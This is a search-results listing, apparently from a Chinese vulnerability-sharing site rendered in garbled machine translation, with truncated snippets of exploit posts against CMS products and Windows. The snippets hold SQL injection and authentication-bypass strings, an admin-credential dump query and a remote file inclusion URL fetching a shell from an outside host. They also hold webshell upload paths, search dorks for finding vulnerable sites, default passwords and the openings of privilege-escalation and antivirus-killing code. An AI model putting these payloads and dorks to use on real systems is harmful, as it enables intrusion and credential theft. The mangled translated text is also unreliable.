7620 matches found
Drupal 7.14 <= full path disclosure-vulnerability warning-the black bar safety net
Drupal 7.14 = Full Path Disclosure Vulnerability About Drupal: "Drupal is an open source content management platform powering millions of websites and applications. It's built, used, and supported by an active and diverse community of people around the world." Drupal is used by common companies...
WordPress Sitemile Auctions plugin arbitrary file upload vulnerability-vulnerability warning-the black bar safety net
Release date: 2012-06-19 Update date: 2012-06-20 Affected system: WordPress Sitemile Auctions Plugin 2. x Description: -------------------------------------------------------------------------------- WordPress is a PHP language and MySQL database development Blog（blog, blogengine, users can...
DR. COM city hot GetPassword-0day vulnerabilities&exp-vulnerability warning-the black bar safety net
DR. COM city hot spot broadband Many cities have used this? The city, the government, enterprises, Operators, universities and so on.. With this Suite of software to provide access to broadband service A recent study, found a vulnerability, 在DR.COM USS user self-service log in theWEB server You c...
phpAcounts v. 0. 5. 3 SQL injection and fix-vulnerability warning-the black bar safety net
Author: loneferret Affected version: 0.5.3 Developer address: http://phpaccounts.com/ Test platform: Ubuntu Server 11.10 Old app, still fun. Auth. Bypass: http://www.xxx.com /phpaccounts/index.php Username: x' or '1'='1' Password: whatever Upload php shell in preferences Letterhead image upload...
CmsEasy easy through the enterprise website system latest injection vulnerability-vulnerability warning-the black bar safety net
Easy to pass business website system latest injection vulnerabilities. Injection EXP: http://www.xxx.com/celive/js/include.php?cmseasylive=1111&departmentid=0 Directly on Havij the inside run. 错误 关键字 :online.gif Add the table name: cmseasyuser List: userid,username,password Baidu keywords: Powere...
Network fun website management system V2. 1 The official version of 0day-vulnerability warning-the black bar safety net
Author: Samy source: bug 1. asp : % Response. Cookies"KuUSER""UserName"="" userid=request. querystring"userid" % % set rsmsg=server. createobject"adodb. recordset" sqlmsg="select from Comuser where comid="&userid&"" rem get the data without the filter rsmsg. open sqlmsg,conn,1,3 if rsmsg. eof and...
Thousand Bo enterprise website management system HitCount. Asp page injection vulnerability-vulnerability warning-the black bar safety net
Program have joined the anti-injection code, in NoSql. asp file 7kccopyd-code % If EnableStopInjection = True Then Dim FyPost, FyGet, FyIn, FyInf, FyXh, Fydb, Fydbstr FyIn = "’|;|and|exec|insert|select|delete|update|count||%|chr|mid|master|truncate|char|declare" FyInf = SplitFyIn, "|" If Request...
shop363 online program really pass to kill the vulnerability 0day exploit-vulnerability warning-the black bar safety net
This app security is not very good, but one of the replace（）function to write well, but did not find is how to write, and the injection of“space, select,%2 0, a+number, and//, etc. filter is empty. In searching out the loopholes in the statements a lot of trouble, I also do not write, directly to...
PHP security of the LFI vulnerability in GetShell method of the big parade-vulnerability warning-the black bar safety net
Author:LengF Blog:www.81sec.com 0x00 digression About PHP LFILocal File Include,local file inclusionvulnerabilities many of my friends are not very familiar with, in fact, the network has a lot of information in this regard, in particular, that foreign paper. Although a lot of information speaks...
dedecms official template contains the word Trojan horse-vulnerability warning-the black bar safety net
Now the hacker more audacious Ah, in the Celestial Empire actually dare to do such a blatant thing. Should be a few days ago out of the dedecms the 0day. The official website is dated, and is in the style of the template inside the value into the The word Trojan. XXOO it. These days, what more...
6CMS sql 0day-vulnerability warning-the black bar safety net
g. cn keyword: 6CMS enterprise hope Station management systemEnglish fan trilingual Edition Default account password: admin Background: admin/ Also don't know programmer How do I see the program in the admin directory there is a anti-injection sql. asp But the parent directory was not Default...
Task Scheduler 0 day may provide the right-vulnerability warning-the black bar safety net
Scheduled tasks problem, the impact of the Vista/Windows7/win2008, the result can be a direct mention of the right, the following exp are as follows: Save As taskxpl. wsf job id="tasksch-wD-0day" script language="Javascript" crctable = new Array 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA,...
Taoyuan Network Hard Drive&IIS6. 0 parsing vulnerability and the Fix-vulnerability warning-the black bar safety net
IIS6. 0 filename parsing vulnerability, as long as the use IIS6. 0 of Taoyuan Network Hard Drive to upload a php Trojan:1 2 3;asp;123.jpg that Then through the show. aspx? type=1&filepath=http://www. badguest. cn/the method takes a file path, The last to perform, you can. Repair: frequently asked...
phpMyAdmin3. X Remote Code Execution exploit-vulnerability warning-the black bar safety net
Use Conditions: 1. a "config" file must be writable or can be created 2. In PHP. ini to session. autostart = 1 Tasteless: PHP. ini in session. autostart default is 0 python EXP:http://dl.dbank.com/c060w98buu PhpMyAdmin of 3. x Swekey remote code injection vulnerability PHP EXP: THE ? php echo...
EC_word enterprise management system injection vulnerability-vulnerability warning-the black bar safety net
Keywords: inurl:proshow. asp? showid= The program uses maple General-purpose anti injection 1. 0asp Edition, this anti-injection completely tasteless, the site program proshow. asp with cookies to injection, or variant of the injection, before injection can first determine what number of fields:...
Pacer Edition CMS 2.1 (l param)local file inclusion flaw and fix-vulnerability warning-the black bar safety net
Pacer Edition CMS 2.1 l param Local File Inclusion Vulnerability Vendor: The Pacer Edition Product web page: http://www.thepaceredition.com Affected version: RC 2.1 SVN: 8 6 7 Summary: The 'Pacer Edition' is a Content Management SystemCMS written using PHP 5.2.9 as a minimum requirement. The Pace...
Fire article back office management system V2. 1 cookie injection-vulnerability warning-the black bar safety net
Publishing author: dark-on formula Vulnerability type: cookie injection Vulnerability Description: The fire article back office management system V2. 1 program using a common anti-injection procedures, only the post get to filter lead to a cookie injection vulnerability. Vulnerability analysis:...
Crown Dragon technology corporate website through the kill vulnerability-vulnerability warning-the black bar safety net
Whether it is the crown Dragon technology the 2 0 0 9 or Ultimate Edition, or latest V9. 2 There are Cookies injection, The following is the productshow. the asp part of the code ShowSmallClassType=ShowSmallClassTypeArticle dim ID ID=trimrequest"ID" if ID="" then response. Redirect"Product. asp"...
foosun cms(wind noise content management system)built directory vulnerabilities practices summary(detailed graphics)-vulnerability warning-the black bar safety net
Version:should be 4.0 sp7 the following. should not on 0day vulnerabilities. Online information,version 5.0. I didn't test,I mainly used the pictures detailed explanation of the exploit process. 2. Process: asee the version,access the website with the admin directory,watch the login logo...
Simple article management system cookie injection vulnerabilities pass to kill all versions-bug warning-the black bar safety net
Simple article management system uses a classification, the interface simple, feature simple and practical. Delete the article, article related images also be deleted minus Less junk files exist. The backstage management entrance http://Domain/admin username and password are admin Backend module:...
SoftXMLCMS upload 0day exploit-vulnerability warning-the black bar safety net
SoftXMLCMS includes a integrated HTML content display a CMS template. All this will give you a set of tools for creating a professional website in minimum time and cost-effective manner. SoftXMLCMS is written in JavaScript ASP IIS classics, and asked Microsoft and support...
Hishop 5.13. x 0DAY-vulnerability warning-the black bar safety net
Author: zhenker Blog:http://hi. baidu. com/zhenker Hishop 5.13 a FCK vulnerability. Use code: http://www.xx.com/fckeditor/editor/filemanager/connectors/uploadtest.html Selection. net upload, the directory for the file Baidu search keyword: Powered by Hishop 5.13...
dircms XSS vulnerability and the use of the method and fix-vulnerability warning-the black bar safety net
| XSSvulnerabilityfile: The online submission function Because of this you do not need to register Membership then the draft before a lot of stations to prohibit registered members Classic white look at the code 1 $info'content'=addalt$info'content',$info'title'; //////////////////////automatical...
Sun Microsystems SunScreen Firewall vulnerability-vulnerability warning-the black bar safety net
SunScreen is sun a firewall, which is running in sun OS 3 8 5 8 on the port, you can through a java service program for remote management. This java service contains a large number of buffer overflow vulnerabilities, at least two, and in addition, if an attacker can upload files to the system is...
luocms 2.0 add administrator vulnerability...attached to the POST EXP-vulnerability warning-the black bar safety net
LUOCMS is a paragraph based on PHP+MYSQL article management system, easy-to-use, full DIV+CSS architecture, the whole Station HTML, good internal structure, more suitable for website optimization promotion. This author's idea is that the user can directly see the files on the session authenticati...
With the FindBugs code analysis vulnerability-vulnerability warning-the black bar safety net
Static analysis tools promise without developer effort will be able to find out the code has some defects. Of course, if you have years of writing experience, you will know that these promises are not necessarily fulfilled. Nevertheless, a good static analysis tool is still in the Toolbox...
动 网 PHP 论坛 indivgroup_dispbbs.php sql injection vulnerability-vulnerability warning-the black bar safety net
Dynamic network DVBBS Forum system is a PHP and MYSQL data architecture, high-performance web forum solutions. In the file indivgroupdispbbs. php: if$groupboardid == 0 //8th line 6 ...... else //the 9 2 row $query=$db-query"select id boardid,rootid,boardname...
Microsoft Internet Explorer local file reading and detection vulnerability-vulnerability warning-the black bar safety net
Microsoft IE in the handling of local file access when there are some problems, combined with the Microsoft windows characteristics may be able to read the local of certain special files that may have other use. As the browser is inevitable to deal with cross-domain resource access issues, then t...
PHPCMS all versions of a page cross-site scripting vulnerability-vulnerability warning-the black bar safety net
Two versions 1, Official demo page for the url xss. 2, official the Master Station of the error reporting page,$info'errorlink'to go from the referer,change the referer to insert arbitrary code. Little harm, the vulnerability level is low. Test code: POC1:...
phpaaCms v0. 3. 1 SQL injection vulnerability-vulnerability warning-the black bar safety net
PHPAA show.php injection vulnerability Injection test http://server/phpaaCMS/show.php?id=-194 union all select 1,2,3,4,5,6,7,8,9,10,concatusername,0x3a,password,1 2,1 3,1 4,1 5 from cmsusers-- Affected versions: FooSun 5.0 Official address: http://www.phpaa.cn...
EZPX Photoblog 1.2 beta remote file inclusion vulnerability-vulnerability warning-the black bar safety net
EZPX Photoblog 1.2 beta commentform.php the page exists remote file include vulnerability EXP:http://127.0.0.1/system/application/views/public/commentform.php?tplbasedir=http://www.hacking.cn/shell.txt? Official website:...
Top secret: three steps to teach you easily steal a VMware virtual machine and its data-vulnerability warning-the black bar safety net
Whether to remember a virtualized e-mail server or the payment system? If you have access to the virtualization environment administrator privileges, you can easily get into the virtualization environment, and steal all the data without leaving any traces. From the Data Center to steal a physical...
Empire EmpireCMS）6.0 /search/keyword/index.php there are multiple cross-site vulnerabilities-vulnerability warning-the black bar safety net
Empire software is a company focused on network software development technology company, whose main product“Empire website management systemEmpireCMS”is currently the most widely used CMS program. Through years of continuous innovation and improvement, the system sets safe, strong, stable, flexib...
How to hack pdf file password-vulnerability warning-the black bar safety net
Whenever graduation is near, graduates are busy writing papers, is closed at this time, Adobe Reader is the most busy, but sometimes come across some encrypted PDF documents, Adobe Reader also no choice。 Today, we will introduce an online gadget is used to crack encrypted PDF document password, s...
Chess game site program 0DAY-vulnerability warning-the black bar safety net
Author:amxking Tap:Pepsi Accurate point should be regarded as Trojan inurl:Find. asp your location customer service center retrieve password Directly horses: http://www.XXX.com/user/situjiaduotu2.asp Word virus ,password : value http://www.XXX.com/htmledit/Include/upfileclass.asp...
Boiling 3AS stray dust edge of information systems(core:dust edge of the ya border graphic systems)V0. 4 5 ACCESS Edition-vulnerability warning-the black bar safety net
Drain hole: boiling 3AS stray dust edge news system registration vulnerability Vulnerability to hazards: may be any of the register a super administrator account Use method: Looking for target can search a keyword: V0. 4 5 ACCESS version Finish Boiling news system（hereinafter referred to as the...
BlaB! Lite remote file include vulnerability-vulnerability warning-the black bar safety net
Remote file inclusion vulnerability, you can get a website webshell Official address: Download:http://hot-things.net/cs/dndnormal/blab50lite.zip Vulnerability file: blab50lite/register.php Trojan: a http://localhost/blab50lite/register.php?skindir=shell.txt POC: the...
On iis a few vbs scripts in the permeate in the applied section-Vulnerability warning-the black bar safety net
Query IIS for all sites C:\WINDOWS\system32cscript.exe iisweb. vbs /query Microsoft R Windows Script Host Version 5.6 CopyrightC Microsoft Corporation 1996-2001。 ALL RIGHTS RESERVED. Are connecting to the server ...has been completed. Site Name Metabase Path Status IP Port Host...
php168 get the administrator 0day-vulnerability warning-the black bar safety net
Due to php168 program to the user group permission to buy the improper handling, so that ordinary users have to purchase the administrator permissions, so as to obtain administrative privileges. The exploit: the 1. Registered normal user 2. By...
Water-like moonlight Dating system 2 0 1 0 injection vulnerability-vulnerability warning-the black bar safety net
In the program getpass. asp this file. if request. QueryString"action"="rsend" then if request"uname"="" or request"uemail"="" then response. Write"scriptalert’please input login user name and registered e-mail address’;history. back;/script" end if if request"upass1"="" or request"upass2"="" the...
Use or construct the SQL ingenious injection-analysis wise management systems security-vulnerability warning-the black bar safety net
Title: the use or construct the SQL ingenious injection-analysis and wise management of the system security Author: By L4nk0rl4nkor.org Source: L4nk0r'S Blog This article has been published in the hackers Handbook 2 0 0 9 year 1 0 issue of the magazine, after the author posted on the blog, such a...
php168 whole Station system of CSRF attack-vulnerability warning-the black bar safety net
CSRF is Cross Site Request Forgery abbreviation, the Chinese meaning is cross-site request forgery, it was written as XSRF。 Hack Forge of the target user's HTTP request, then the HTTP request sent to a CSRF vulnerability in the web site. There is a CSRF vulnerability of the site to perform a forg...
Le tour travel site management system v1. 7. 3 xday-vulnerability warning-the black bar safety net
The exploit procedure: First: The administrator directory under AdminPassod. asp !-- include file="../Include/conn. asp" - !-- include file="../Include/md5. asp" - % select case request. QueryString"Action" case "ModifyPass" SaveNewPass case else end select set rs = server. createobject"adodb...
Network fun online shopping system HTML static version v2010 injection-vulnerability warning-the black bar safety net
Author: Lan3a This app too many issues. I directly said method. Google keywords: inurl:buy. asp? action=show Or: inurl:viewreturn. asp? Page=1 Injection code: References admin/review. asp? id=5 0%20and%2 0 1=2%20union%20select%201,2,admin,4,password,6,7,8,9,1 0,1 1%20from%20admin Own re-query the...
Luo letter network built station of 0DAY-vulnerability warning-the black bar safety net
Baidu or google "technical support：Luo letter network" Background address: site+lx Database address: site+lx+databases+Main Domain Name. asp need to guess Account&password: admin admin Down is to get the shell Important part: upload the jpg format of the asp horse Database backup,Please note that...
Ling news management system v1. 0 vulnerability-vulnerability warning-the black bar safety net
This app with a generic anti-injection procedures. Each page contains so I'm not from the injection here. Looking for the next, in the administrator directory there is a link to the picture upload of the file. Although you can create folders, but can not define yourself, so give up. This upload...
discuz X demo experience package XSS cross-site vulnerabilities-vulnerability warning-the black bar safety net
Vulnerability file: source\function\directory most of the files filter is not strict Vulnerability testing:scriptalert/qing DISCUZ x test vulnerability/ Non-secure test the demo: http://fabu.coffly.com/home.php?mod=space&uid=1&do=profile...
Discuz! NT3. 0 background to get shell-vulnerability warning-the black bar safety net
Author: icysun Himself not to engage in a good long time to figure out how to get the shell Into the back we can know that the website path, this is important Direct export word Select from table1 into outfile 'c:\test.txt' this is no good, don't know where I wrong, or is simply not on. So we can...
Rising the latest 0day vulnerabilities-vulnerability warning-the black bar safety net
Write into the program after double-click to run directly K off Swiss Star re-start.） The following is an exploit code ------------------------------------------------------------------------------ DWORD GetProcessIdFromNameLPCTSTR name PROCESSENTRY32 pe; DWORD id = 0; HANDLE hSnapshot =...
ubuntu 9.10 forget the root password solution-vulnerability warning-the black bar safety net
This method is applicable to the can physical contact with the machine. 1. Boot hold down the Shift key to enter Grub menu. 2. Press e to modify the first“Ubuntu, 2.6. xxx-generic” 3. Modify the penultimate line 2,“linux /boot/vmlinuz... ro quiet splash”to“linux /boot/vmlinuz... rw single...